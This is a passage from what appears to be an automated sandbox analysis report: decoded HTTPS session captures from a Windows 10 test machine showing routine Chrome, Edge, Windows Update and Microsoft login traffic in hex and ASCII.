73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-08 14:20:50 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:51 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-08 14:20:51 UTC	513	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=8639 Date: Fri, 08 Nov 2024 14:20:51 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-08 14:20:51 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49727	142.250.185.142	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:51 UTC	722	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIkqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-08 14:20:51 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 30 37 35 36 34 39 30 32 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731075649029",null,null,null,
2024-11-08 14:20:51 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=Sg4l2_NtOyxJ86E3B_ncSlfaW1Prz86_W8jPu9pivLRlHIVr2Rnkl456ULyHlO0BEePfy7pdsWz12TUdjbRFPlx1o7LNM37sdveOAEazpqd5e4zTDd4o1esVsARej0BfsksJG_8ASuSc-OgQ22zAtV5V_8wXptn2UUI55TkYHZaeVp3EFA; expires=Sat, 10-May-2025 14:20:51 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 08 Nov 2024 14:20:51 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 08 Nov 2024 14:20:51 GMT Connection: close Transfer-Encoding: chunked
2024-11-08 14:20:51 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-08 14:20:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49723	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:20:52 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6c7ZM87kbK1FEhL&MD=8OcbMNE9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-08 14:20:52 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2baded7c-7291-4ad0-962a-3e2142fad86c MS-RequestId: ff622d78-673f-4492-8812-a19ea4c4fd4e MS-CV: 7nIqYfX9sEGAhZKD.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 08 Nov 2024 14:20:52 GMT Connection: close Content-Length: 24490
2024-11-08 14:20:52 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-08 14:20:52 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49737	52.123.242.159	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:03 UTC	746	OUT	GET /config/v1/Edge/117.0.2045.47?clientId=-5438092865908489856&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696493841&edu=&bphint=2&soobedate=1696493837&fg=1 HTTP/1.1 Host: config.edge.skype.com Connection: keep-alive If-None-Match: "h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=" Accept-Encoding: gzip Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
2024-11-08 14:21:03 UTC	1176	IN	HTTP/1.1 200 OK Cache-Control: no-cache,max-age=3600 Content-Length: 57883 Content-Type: application/json Expires: Fri, 08 Nov 2024 15:21:03 GMT ETag: "637aCaVF1o8hM5T71EHi3K5Mb/nszsYwDlR0ShGIQ6A=" Server: Microsoft-IIS/10.0 request-id: d08ee4c6-dd51-9d6d-5d2e-3224ee470a30 X-BackEndHttpStatus: 200 X-Content-Type-Options: nosniff X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; includeSubDomains Report-To: {"group":"NelEcsUpload1","max_age":604800,"endpoints":[{"url":"https://ecs.nel.measure.office.net?TenantId=Edge&DestinationEndpoint=MIRA-WW-PAZ&FrontEnd=MIRA"}],"include_subdomains":true} NEL: {"report_to":"NelEcsUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-Proxy-RoutingCorrectness: 1 X-MSEdge-Ref: MIRA: d08ee4c6-dd51-9d6d-5d2e-3224ee470a30 PAZP264CA0049 2024-11-08T14:21:03.328Z Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-Proxy-BackendServerStatus: 200 X-FirstHopCafeEFZ: ORY X-FEProxyInfo: PAZP264CA0049.FRAP264.PROD.OUTLOOK.COM X-FEEFZInfo: ORY X-Powered-By: ASP.NET X-FEServer: PAZP264CA0049 Date: Fri, 08 Nov 2024 14:21:03 GMT Connection: close
2024-11-08 14:21:03 UTC	3359	IN	Data Raw: 7b 22 45 43 53 22 3a 7b 22 45 78 63 6c 75 64 65 45 78 74 65 72 6e 61 6c 43 6f 6e 66 69 67 49 64 73 49 6e 4c 6f 67 22 3a 74 72 75 65 2c 22 43 6f 6e 66 69 67 4c 6f 67 54 61 72 67 65 74 22 3a 22 65 64 67 65 5f 73 74 61 62 6c 65 22 7d 2c 22 45 64 67 65 22 3a 7b 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 73 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 53 68 6f 77 54 72 6f 75 62 6c 65 73 68 6f 6f 74 42 75 74 74 6f 6e 4f 6e 45 72 72 6f 72 50 61 67 65 22 2c 22 6d 73 44 69 73 63 6f 6e 6e 65 63 74 65 64 45 72 72 6f 72 50 61 67 65 56 61 72 69 61 74 69 6f 6e 32 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 44 69 73 61 62 6c 65 41 62 61 6e 64 6f 6e 65 64 43 61 72 74 22 3a 7b 22 64 69 73 Data Ascii: {"ECS":{"ExcludeExternalConfigIdsInLog":true,"ConfigLogTarget":"edge_stable"},"Edge":{"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeShoppingDisableAbandonedCart":{"dis
2024-11-08 14:21:03 UTC	12336	IN	Data Raw: 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 4c 6f 61 64 53 74 61 74 69 73 74 69 63 73 4c 6f 77 50 72 69 4c 6f 67 67 69 6e 67 22 5d 7d 2c 22 48 69 73 74 6f 72 79 54 68 75 6d 62 6e 61 69 6c 4b 69 6c 6c 53 77 69 74 63 68 22 3a 7b 22 64 69 73 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 48 69 73 74 6f 72 79 54 68 75 6d 62 6e 61 69 6c 22 5d 7d 2c 22 53 64 63 68 45 6e 61 62 6c 65 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 53 64 63 68 22 5d 7d 2c 22 45 64 67 65 53 68 6f 70 70 69 6e 67 50 61 67 65 4c 6f 63 61 6c 65 54 69 6d 65 6f 75 74 43 6f 6e 66 69 67 22 3a 7b 22 65 6e 61 62 6c 65 46 65 61 74 75 72 65 73 22 3a 5b 22 6d 73 45 64 67 65 53 68 6f 70 70 69 6e 67 50 61 67 65 4c 6f 63 Data Ascii: "disableFeatures":["msLoadStatisticsLowPriLogging"]},"HistoryThumbnailKillSwitch":{"disableFeatures":["msEdgeHistoryThumbnail"]},"SdchEnable":{"enableFeatures":["msEdgeSdch"]},"EdgeShoppingPageLocaleTimeoutConfig":{"enableFeatures":["msEdgeShoppingPageLoc
2024-11-08 14:21:03 UTC	16384	IN	Data Raw: 2e 73 70 75 74 6e 69 6b 6e 65 77 73 2e 72 75 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 6e 64 74 76 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 65 6c 69 6d 70 61 72 63 69 61 6c 2e 63 6f 6d 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 70 6f 76 61 72 65 6e 6f 6b 2e 72 75 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 50 72 6f 6d 70 74 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 65 73 74 61 64 61 6f 2e 63 6f 6d 2e 62 72 22 7d 2c 7b 22 61 70 70 6c 69 65 64 5f 70 6f Data Ascii: .sputniknews.ru"},{"applied_policy":"Prompt","domain":"www.ndtv.com"},{"applied_policy":"Prompt","domain":"www.elimparcial.com"},{"applied_policy":"Prompt","domain":"www.povarenok.ru"},{"applied_policy":"Prompt","domain":"www.estadao.com.br"},{"applied_po
2024-11-08 14:21:03 UTC	16384	IN	Data Raw: 2e 6b 69 6e 6f 70 6f 69 73 6b 2e 72 75 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 61 69 6f 73 61 6e 74 65 2e 66 72 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6d 65 6e 74 6f 72 61 2e 63 6f 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6c 65 62 6f 6e 63 6f 69 6e 2e 66 72 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6e 65 77 2e 66 61 62 65 72 6c 69 63 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d Data Ascii: .kinopoisk.ru","applied_policy":"ChromeUA"},{"domain":"aiosante.fr","applied_policy":"ChromeUA"},{"domain":"mentora.co","applied_policy":"ChromeUA"},{"domain":"leboncoin.fr","applied_policy":"ChromeUA"},{"domain":"new.faberlic.com","applied_policy":"Chrom
2024-11-08 14:21:04 UTC	9420	IN	Data Raw: 2e 63 6f 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 73 73 70 74 2e 62 6a 63 6f 75 72 74 2e 67 6f 76 2e 63 6e 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 65 6e 67 6c 69 73 68 62 75 64 64 79 2e 6b 72 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6c 75 7a 2e 74 63 64 2e 67 6f 76 2e 74 77 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 55 41 22 7d 2c 7b 22 64 6f 6d 61 69 6e 22 3a 22 6c 6e 77 6c 7a 62 2e 63 6f 6d 22 2c 22 61 70 70 6c 69 65 64 5f 70 6f 6c 69 63 79 22 3a 22 43 68 72 6f 6d 65 Data Ascii: .co","applied_policy":"ChromeUA"},{"domain":"sspt.bjcourt.gov.cn","applied_policy":"ChromeUA"},{"domain":"englishbuddy.kr","applied_policy":"ChromeUA"},{"domain":"luz.tcd.gov.tw","applied_policy":"ChromeUA"},{"domain":"lnwlzb.com","applied_policy":"Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49742	94.245.104.56	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:03 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:04 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Fri, 08 Nov 2024 14:21:03 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49750	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-08 14:21:05 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-08 14:21:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 08 Nov 2024 14:20:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: ad3eb744-ccfb-4e77-9bad-28eacb423d3b PPServer: PPV: 30 H: PH1PEPF00018BD4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 08 Nov 2024 14:21:05 GMT Connection: close Content-Length: 11392
2024-11-08 14:21:06 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 